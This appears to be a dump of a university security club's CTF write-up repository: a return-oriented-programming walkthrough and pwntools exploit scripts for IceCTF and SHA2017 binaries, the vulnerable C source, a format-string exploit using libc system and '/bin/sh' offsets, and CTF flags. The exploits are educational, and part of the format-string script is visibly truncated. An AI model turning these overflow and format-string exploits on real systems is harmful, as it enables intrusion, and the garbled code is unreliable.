132 | We now know that we have 44 bytes to EIP, 20 bytes to play with including EIP overwrite, 3 functions that must be called in the order `ret()`->`ori()`->`pro()` (return oriented programming), and that these functions all (save `pro()`) appear to have some sort of check at the beginning. Converting those ugly looking numbers to hex we get that `ret()` wants an argument to be `0xbadbeeef` (thats beef with three 'e's) and `ori()` wants two which are 0xabcdefff and 0x78563412. If we fail to provide those then the program prints a failure message and exits.
133 |
134 | What now? Well reviewing how ret2libc attacks work, we know that if we can hijack EIP as we have done then we can make it return to wherever we want in the program and do even more so long as we set the stack frame right. So first instinct is to try to make it do `main()`->`ezy()`->`ret()`->`ori()`->`pro()` but we quickly find that there is a problem. Distance to EIP is 44 bytes which leaves us with 20 bytes to craft the exploit. The addresses alone for ret, ori, and pro will take up 12 which leaves us with 8 bytes left. We then need to account for the 4 byte 'canary' in ret, and the two 4 byte 'canaries' in ori. Adding that all up we end up 4 bytes over what we have. That's a problem. So now what? Get clever with the rop gadgets?
135 |
136 | Well if you recall I said we could use the EIP access to return ANYWHERE, and as it turns out our vulnerability is in its own function too: `ezy()`! So what do we do about it? Well we know during the same execution we must visit `ret()`,`ori()`, and `pro()` all in order and we also now know we can jump back to `ezy()` which means.... ARBITRARY JUMPING!
137 |
138 | If we first go to `ret()` and have it return to `ezy()` rather than `ori()` it means that we can rewrite our exploit and do it again, effectively "chaining" it, so that we can then jump to `ori()` and back to `ezy()` one final time to make a final jump to `pro()`
139 |
140 | We have three seperate payloads we then need to construct:
141 |
142 | ```
143 | payload one: 'A'*44<0xbadbeeef>
144 | payload two: 'A'*44<0xabcdefff><0x78563412>
145 | payload three: 'A'*44
146 | ```
147 |
148 | Luckily for us, pwntools makes sending these multiple encoded payloads really easy, setting it up just like that we get the following exploit script in python:
149 |
150 | ```Python
151 | #!/usr/bin/python
152 |
153 | # @nullp0inter
154 | # IceCTF ROPI
155 |
156 | from pwn import *
157 |
158 | # Addresses
159 | main = 0x08048661
160 | ezy_addr = 0x0804852d
161 | ret_addr = 0x08048569
162 | ret_can = 0xbadbeeef
163 | ori_addr = 0x080485c4
164 | ori_can1 = 0xabcdefff
165 | ori_can2 = 0x78563412
166 | pro_addr = 0x0804862c
167 |
168 | # Payload Generation
169 | payload = 'A'*44
170 | payload += p32(ret_addr)
171 | payload += p32(ezy_addr)
172 | payload += p32(ret_can)
173 | payload2 = 'A'*44
174 | payload2 += p32(ori_addr)
175 | payload2 += p32(ezy_addr)
176 | payload2 += p32(ori_can1)
177 | payload2 += p32(ori_can2)
178 | payload3 = 'A'*44
179 | payload3 += p32(pro_addr)
180 | payload3 += p32(main)
181 |
182 | # Start Pwnage
183 | p = remote('ropi.vuln.icec.tf',6500) # Remote
184 | #p = process('ropi') # local
185 |
186 | p.recv()
187 | p.sendline(payload)
188 | p.recv()
189 | p.sendline(payload2)
190 | p.recv()
191 | p.sendline(payload3)
192 | p.interactive()
193 | ```
194 |
195 |
196 | ##Special Thanks:
197 | Special thanks to members both past and present of my club, wcsc, for all the information they shared with me. I was able to finally solve some fairly difficult challenges thanks to them answering my repeated stupid questions (ropi at 131 solves, dear_diary at 78)
198 |
199 | ##Resources:
200 | I found a ton of great resources during the challenge for learning about ROP attacks:
201 |
202 | [Saumil Shah's 'Dive Into ROP'](http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming "Dive Into ROP")
203 |
204 | [Saumil Shah's 'How Functions Work'](http://www.slideshare.net/saumilshah/how-functions-work-7776073 "How Functions Work")
205 |
206 | [Jeffrey Crowell's Blog Post on "Pwning With Radare2"](http://crowell.github.io/blog/2014/11/23/pwning-with-radare2/ "Pwning With R2")
207 |
--------------------------------------------------------------------------------
/icectf-2016/ropi/flag.txt:
--------------------------------------------------------------------------------
1 | WINRAR
2 |
--------------------------------------------------------------------------------
/icectf-2016/ropi/myropi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/ropi/myropi
--------------------------------------------------------------------------------
/icectf-2016/ropi/myropi.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | int fd;
4 | char dati[128];
5 |
6 | void ezy() {
7 | char buf[32];
8 | puts("Benvenuti convergo retori pro..");
9 | fflush(stdout);
10 | read(0, &buf, 64);
11 | return;
12 | }
13 |
14 | void ret(int a) {
15 | if(a == 0xbadbeef) {
16 | int fd = open("./flag.txt", 0);
17 | puts("[+] aperto");
18 | fflush(stdout);
19 | return;
20 | } else {
21 | puts("chiave sbahliata! :(");
22 | exit(1);
23 | }
24 | }
25 |
26 | void ori(int a, int b) {
27 | if ( a == 0xabcdefff || b == 0x78563412) {
28 | read(fd, dati, 0x80 /* 128 */);
29 | puts("[+] leggi");
30 | fflush(stdout);
31 | return;
32 | } else {
33 | exit(1);
34 | }
35 | }
36 |
37 | void pro() {
38 | puts("[+] stampare");
39 | printf("%s", &dati);
40 | fflush(stdout);
41 | return;
42 | }
43 |
44 | int main() {
45 | ezy();
46 | puts("addio\n");
47 | return 0;
48 | }
49 |
--------------------------------------------------------------------------------
/icectf-2016/ropi/pwnropi.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # @nullp0inter
4 | # IceCTF ROPI
5 |
6 | from pwn import *
7 |
8 | # Addresses
9 | main = 0x08048661
10 | ezy_addr = 0x0804852d
11 | ret_addr = 0x08048569
12 | ret_can = 0xbadbeeef
13 | ori_addr = 0x080485c4
14 | ori_can1 = 0xabcdefff
15 | ori_can2 = 0x78563412
16 | pro_addr = 0x0804862c
17 |
18 | # Payload Generation
19 | payload = 'A'*44
20 | payload += p32(ret_addr)
21 | payload += p32(ezy_addr)
22 | payload += p32(ret_can)
23 | payload2 = 'A'*44
24 | payload2 += p32(ori_addr)
25 | payload2 += p32(ezy_addr)
26 | payload2 += p32(ori_can1)
27 | payload2 += p32(ori_can2)
28 | payload3 = 'A'*44
29 | payload3 += p32(pro_addr)
30 | payload3 += p32(main)
31 |
32 | # Start Pwnage
33 | p = remote('ropi.vuln.icec.tf',6500) # Remote
34 | #p = process('./ropi') # local
35 |
36 | p.recv()
37 | p.sendline(payload)
38 | p.recv()
39 | p.sendline(payload2)
40 | p.recv()
41 | p.sendline(payload3)
42 | p.interactive()
43 |
--------------------------------------------------------------------------------
/icectf-2016/ropi/ropi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/ropi/ropi
--------------------------------------------------------------------------------
/icectf-2016/spotlight/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | ## Solution By: Nullp0inter
3 |
4 | # Spotlight Web 10pts
5 | Someone turned out the lights and now we can't find anything. Send halp! spotlight
6 |
7 | # Solution:
8 | Obviously with around 1600 solves, not a lot of people need this but in case you do I figured I would include it for completeness' sake.
9 | The challenge sends you to spotlight.vuln.icec.tf, a mostly black page with a white circle that is supposed to be your "spotlight." If you
10 | take a few minutes to search around you'll see some messages such as "not here", "the flag is close", etc. But we couldn't find the flag.
11 | So what do we do then? Well it's usually idea to "USE THE SOURCE, LUKE!." In Firefox you can easily do this with ctrl+U. The source is fairly
12 | small so I will post it here:
13 |
14 | ```html
15 |
16 |
17 |
18 | IceCTF 2016 - Spotlight
19 |
20 |
21 |
22 |
23 |
24 |
27 |
28 |
29 |
30 | ```
31 |
32 | So two things should pop out at you, the `spotlight.css` and the `spotlight.js` at the bottom. The css is just unlikely so I ignored that altogether
33 | and went straight for the javascript file as that is what is making the spotlight on the page work in the first place and holds the messages. We click
34 | on the `spotlight.js` to view the source for that and get:
35 |
36 | ```javascript
37 | /*
38 | * TODO: Remove debug log
39 | */
40 |
41 | // Load the canvas context
42 | console.log("DEBUG: Loading canvas context...");
43 | var canvas = document.getElementById('myCanvas');
44 | var context = canvas.getContext('2d');
45 |
46 | // Make the canvas fill the screen
47 | console.log("DEBUG: Adjusting canvas size...");
48 | context.canvas.width = window.innerWidth;
49 | context.canvas.height = window.innerHeight;
50 |
51 | // Mouse listener
52 | console.log("DEBUG: Adding mouse listener...");
53 | canvas.addEventListener('mousemove', function(evt) {
54 | spotlight(canvas, getMousePos(canvas, evt));
55 | }, false);
56 |
57 | console.log("DEBUG: Initializing spotlight sequence...");
58 | function spotlight(canvas, coord) {
59 | // Load up the context
60 | var context = canvas.getContext('2d');
61 |
62 | // Clear the canvas
63 | context.clearRect(0,0,canvas.width, canvas.height);
64 |
65 | // Turn off the lights! Mwuhahaha >:3
66 | context.fillRect(0,0,window.innerWidth,window.innerHeight);
67 |
68 | // Scatter around red herrings
69 | context.font = "20px Arial";
70 | context.fillText("Not here.",width(45),height(60));
71 | context.fillText("Keep looking...",width(80),height(20));
72 | context.fillText(":c",width(20),height(30));
73 | context.fillText("Look closer!",width(75),height(80));
74 | context.fillText("Almost there!",width(60),height(10));
75 | context.fillText("Howdy!",width(10),height(90));
76 | context.fillText("Closer...",width(30),height(80));
77 | context.fillText("FLAG AHOY!!!!!!!!1",width(80),height(95));
78 |
79 | // Turn on the flash light
80 | var grd = context.createRadialGradient(
81 | coord.x, coord.y, 75,
82 | coord.x, coord.y, 50);
83 | grd.addColorStop(0,'rgba(255,255,255,0)');
84 | grd.addColorStop(1,'rgba(255,255,255,.7)');
85 |
86 | context.fillStyle=grd;
87 | }
88 |
89 | console.log("DEBUG: IceCTF{5tup1d_d3v5_w1th_th31r_l095}");
90 |
91 | console.log("DEBUG: Loading up helper functions...");
92 | console.log("DEBUG: * getMousePos(canvas, evt)");
93 | function getMousePos(canvas, evt) {
94 | var rect = canvas.getBoundingClientRect();
95 | return {
96 | x: evt.clientX - rect.left,
97 | y: evt.clientY - rect.top
98 | };
99 | }
100 |
101 | // Calculate height percenteges
102 | console.log("DEBUG: * height(perc)");
103 | function height(perc)
104 | {
105 | var h = window.innerHeight;
106 | return h * (perc / 100);
107 | }
108 |
109 | // Calculate width percenteges
110 | console.log("DEBUG: * width(perc)");
111 | function width(perc)
112 | {
113 | var w = window.innerWidth;
114 | return w * (perc / 100);
115 | }
116 | console.log("DEBUG: Done.");
117 |
118 | console.log("DEBUG: Ready for blast off!");
119 | ```
120 |
121 | Well what do you know, about halfway down we can see our flag:
122 | `IceCTF{5tup1d_d3v5_w1th_th31r_l095}`
123 |
--------------------------------------------------------------------------------
/sha2017/README.md:
--------------------------------------------------------------------------------
1 | # SHA2017
2 | [https://ctftime.org/event/478](https://ctftime.org/event/478)
3 |
4 |
5 |
--------------------------------------------------------------------------------
/sha2017/asby/README.md:
--------------------------------------------------------------------------------
1 | # asby
2 | ##### Brad Daniels -- USF Whitehatters Computer Security Club
3 | ##### binary -- 100 points
4 |
5 | ## Description
6 |
7 | Eindbazen team member asby has by far been putting the most energy and time in creating the SHA2017 CTF. To honor his dedication and all his effort we created this challenge as an ode to him.
8 |
9 | You can choose to reverse engineer this challenge or you can "asby" it. Good luck with the option you choose.
10 |
11 | ## Solution
12 |
13 | #### Initial Inspection
14 |
15 | #### Wine
16 |
17 | #### Flag
18 |
--------------------------------------------------------------------------------
/sha2017/asby/asby.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/sha2017/asby/asby.exe
--------------------------------------------------------------------------------
/sha2017/asby/sol.py:
--------------------------------------------------------------------------------
1 | import pwn
2 | import string
3 | import time
4 |
5 | p = pwn.process("WINEDEBUG=fixme-all /usr/bin/wine asby.exe", shell=True)
6 |
7 | charset = []
8 | for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation:
9 | charset.append(c)
10 |
11 | i = 0
12 | flag = charset[i]
13 | while(True):
14 | time.sleep(.1)
15 | print(p.recv(timeout=0.3))
16 | print(flag)
17 | p.send(flag + '\n')
18 | time.sleep(.1)
19 | out = p.recv()
20 | print(out)
21 | if 'WRONG' in out:
22 | i+=1
23 | flag = flag[:-1] + charset[i]
24 | continue
25 | else:
26 | i=0
27 | flag = flag + charset[0]
28 | continue
29 |
30 |
--------------------------------------------------------------------------------
/sha2017/megan-35/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/sha2017/megan-35/libc.so.6
--------------------------------------------------------------------------------
/sha2017/megan-35/megan-35:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/sha2017/megan-35/megan-35
--------------------------------------------------------------------------------
/sha2017/megan-35/pwnMegan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from pwn import *
3 | import base64
4 | import sys
5 | from struct import pack
6 | import time
7 | from binascii import hexlify
8 |
9 | atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
10 | megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
11 | zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2"
12 | hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5"
13 | b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
14 |
15 | class B64weird_encodings:
16 |
17 | def __init__(self, translation):
18 | b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
19 | self.srch = dict(zip(b, translation))
20 | self.revlsrch = dict(zip(translation, b))
21 |
22 | def encode(self, pt):
23 | global srch
24 | b64 = base64.b64encode(pt)
25 | r = "".join([self.srch[x] for x in b64])
26 | return r
27 |
28 | def decode(self, code):
29 | global revlsrch
30 | b64 = "".join([self.revlsrch[x] for x in code])
31 | r = base64.b64decode(b64)
32 | return r
33 |
34 | def encode(variant, pt):
35 | encoder = B64weird_encodings(variant)
36 | return encoder.encode(pt)
37 |
38 | def decode(variant, code):
39 | try:
40 | encoder = B64weird_encodings(variant)
41 | return encoder.decode(code)
42 | except KeyError:
43 | return "Not valid"
44 | except TypeError:
45 | return "Padding iccorrect"
46 |
47 |
48 | # theirs
49 | libc = 0xf7e19000
50 | systemOffset = 0x3a940
51 | binsh = 0x15900b
52 | exit = 0x2e7b0
53 |
54 | # mine
55 | #libc = 0xf7ddc000
56 | #systemOffset = 0x3b060
57 | #binsh = 0x15fa0f
58 | #exit = 0x2eaf0
59 |
60 | # theirs
61 | where = 0xffffd05c
62 | where += 0xd50
63 | what = 0xffffdbac #system addr on stack
64 |
65 | #mine
66 | #where = 0xffffcffc
67 | #what = 0xffffdbac #system addr on stack
68 |
69 | what += 4
70 |
71 | payload = pack(">8) - pl) & mask
84 | pl += newByte2
85 | newByte3 = (((what&(mask<<16))>>16) - pl) & mask
86 |
87 | newByte4 = 0x01
88 | newByte5 = 0xff
89 | enc_payload = ""
90 | enc_payload += "%" + str(newByte1) + "c%7$hhn"
91 | enc_payload += "%" + str(newByte2) + "c%8$hhn"
92 | enc_payload += "%" + str(newByte3) + "c%9$hhn"
93 | enc_payload += "%" + str(newByte4) + "c%10$hhn"
94 | enc_payload += "%" + str(newByte5) + "c%10$hhn"
95 |
96 | enc_payload = encode(megan35, enc_payload)
97 |
98 | #mem leak
99 | #payload = struct.pack("
13 |
14 | whip,naenae,whip,naenae,whip
15 | do the whip!
16 | (;P)
17 | 8=/||\_
18 | _/¯ ¯\_
19 | do the naenae
20 | (\)
21 | \(:O)
22 | /||\_
23 | _/¯ ¯\_
24 | do the whip!
25 | (;P)
26 | 8=/||\_
27 | _/¯ ¯\_
28 | do the naenae
29 | (\)
30 | \(:O)
31 | /||\_
32 | _/¯ ¯\_
33 | do the whip!
34 | (;P)
35 | 8=/||\_
36 | _/¯ ¯\_
37 |
38 | cool dance! come again!
39 | ```
40 | You have input here so may as well start looking at the buffer.
41 |
42 | Solved By
43 | ----------
44 | nullp0inter
45 |
46 | How to solve
47 | ------------
48 | Honestly, when I solved this challenge I was (in the spirit of the ctf) RIGGITY-RIGGITY-REKT SON! (I had all but chugged an entire bottle of wine). Being that I was not of sound mind, I really didn't want to bother exploring the binary to find out how big the buffer was, instead I just used pattern generation with Ragg2 and sent varying lengths. Ultimately I solved this one on accident, when I was wasted, just trying to figure out how big the buffer was using a binary search sort of method. If you send it approximately 80 A's (I sent it a pattern of length 80), it spits out the flag and tells you that you are a gurl who can dance.
49 |
50 | Ragg2 is great for analysis as it generates patterns of whatever length you like then can search for them. You can quickly generate a pattern with:
51 | `ragg2 -P -r`
52 |
53 | Being that I don't have the binary, didn't write down the flag, and the challenges are all down at this point, you'll just have to settle for
54 |
55 | `SUN{this_was_the_flag}`
56 |
--------------------------------------------------------------------------------
/sunshine-ctf-2016/FindFloridaMan/README.md:
--------------------------------------------------------------------------------
1 | Find Floridaman
2 | ===============
3 | Recon category - 50 points
4 |
5 | Challenge Description
6 | ---------------------
7 | In other news… Floridaman did what with an alligator?
8 | Remember, this has the normal flag format.
9 |
10 | Hints Included:
11 | - some pretty much useless initial hint I can't even remember
12 | - only look at florida news sites
13 | - flag was posted before 2 days ago (a fake flag was posted during the competition)
14 | - Involves a drive-thru
15 |
16 | Solved By
17 | ---------
18 | nullp0inter
19 |
20 | How I Solved It
21 | ---------------
22 | Any _true_ Floridian has probably heard of the /r/Floridaman subreddit and those who follow it may recall a recent news story from
23 | Jupiter, Florida (Palm Coast) involving one florida man tossing a live alligator through a Wendy's drive-thru.
24 |
25 | If I'm honest, this flag was easy and at the same time was absolutely **_NOT_** easy. So yes, you are given a lot of information but aside
26 | from the fact that it was on a florida news site, the other hints weren't available until near the end of the final day.
27 |
28 | So with the drive-thru story in mind, my first instinct was to find a list of florida news site and craft google queries of the form
29 | `florida + man + alligator + driverthru site:`. Honestly if I had known something about the terrible business practices of
30 | news sites I would have found this much faster however it took me close to 16 hours from here. The reason being is that florida news sites like to grab multiple separate domains _and_ post the same exact news story multiple times, each with different comment sections.
31 |
32 | There was a fake flag posted, which I happened to find at around midnight after the first day delerious and tired and I was not a happy camper. It was posted on a palmcoast news website, restricting google searches to that site eventually turned up this page `http://www.mypalmbeachpost.com/news/news/crime-law/wendys-alligator-thrower-is-only-fulfilling-his-fl/nqNfr/` with only a single comment by Summerc137 with our real flag (Summerc137 being a reference to Summer from dimension c137 in Rick and Morty).
33 |
34 | That's it, there is our flag.
35 |
--------------------------------------------------------------------------------
/sunshine-ctf-2016/README.md:
--------------------------------------------------------------------------------
1 | Sunshine CTF 2016
2 | =================
3 | Sunshine CTF is a ctf that was hosted at BSides Orlando in 2016 by members of the Hack@UCF club. The challenges were introductory level to mid level.
4 | There were a couple themes for the CTF but quite a few challenges were based on the TV show Rick and Morty.
5 |
6 | About
7 | -----
8 | Participants:
9 | - nullp0inter
10 | - brad_d
11 | - bspar
12 | - und3rfl0w
13 |
14 | The binaries were pretty introductory, being done without stack protection but there were some really cool Social Engineering challenges and some forensics stuff as well. We solved all the binaries and came in first place locally, so it went pretty great.
15 |
--------------------------------------------------------------------------------